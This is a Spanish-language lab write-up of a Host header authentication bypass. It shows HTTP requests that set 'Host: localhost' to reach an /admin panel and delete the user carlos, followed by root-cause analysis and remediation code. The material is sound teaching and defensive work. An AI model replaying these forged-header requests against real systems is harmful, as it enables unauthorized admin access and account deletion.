← Writeups

Host header authentication bypass

Bypass de autenticación por Host header: la app decide el privilegio según el valor de Host, por lo que /admin con Host: localhost otorga acceso y permite eliminar a carlos.

Target Overview & Vulnerability Summary

El lab host-header/exploiting/lab-host-header-authentication-bypass asume el nivel de privilegio del usuario basándose en el header HTTP Host. El panel /admin solo es accesible si el Host es localhost. Modificando el header a Host: localhost se obtiene acceso administrativo y se elimina a carlos.

Campo Valor
Severidad Alta (escalada a administrador / bypass de control de acceso)
Endpoint vulnerable /admin (gate por header Host)
Root cause Decisión de autorización basada en el header Host, controlable por el cliente

Technical Breakdown & Exploitation Flow

1. La request legítima

GET /admin HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>

La app niega el acceso porque el Host no coincide con el valor esperado para el rol admin.

2. Bypass con Host: localhost

Se modifica el header:

GET /admin HTTP/2
Host: localhost
Cookie: session=<SESSION_ID>

Con Host: localhost, el middleware considera la request como interna (equivalente a loopback) y concede privilegios de administrador. El panel admin responde; se elimina a carlos:

GET /admin/delete?username=carlos HTTP/2
Host: localhost
Cookie: session=<SESSION_ID>

Root Cause Analysis

La app usa el header Host como proxy de confianza para decidir autorización: asume que una request con Host: localhost proviene de un contexto interno/privilegiado. El header Host lo controla el cliente en cualquier conexión directa, por lo que la "verificación" es trivialmente forjable. Es una decisión de seguridad sobre una entrada no autenticada: el control de acceso debe derivarse de la identidad de la sesión y de la autenticidad de la capa de red (conexión loopback real), no de un header.

Secure Remediation

  • No basar decisiones de autorización en el header Host (ni en X-Forwarded-Host/X-Forwarded-For salvo que el proxy lo sobrescriba y se valide su procedencia).
  • Determinar "request interna" por la dirección IP real de la conexión (loopback/red interna), no por headers:
def is_internal(request):
    return request.remote_addr in ("127.0.0.1", "::1", internal_networks)
  • Aplicar autorización por rol de sesión/identidad en /admin:
if not session_user.is_admin():
    abort(403)
  • Validar el Host contra una lista blanca de hosts propios y rechazar valores desconocidos, para que el header no se convierta en un canal de abuso.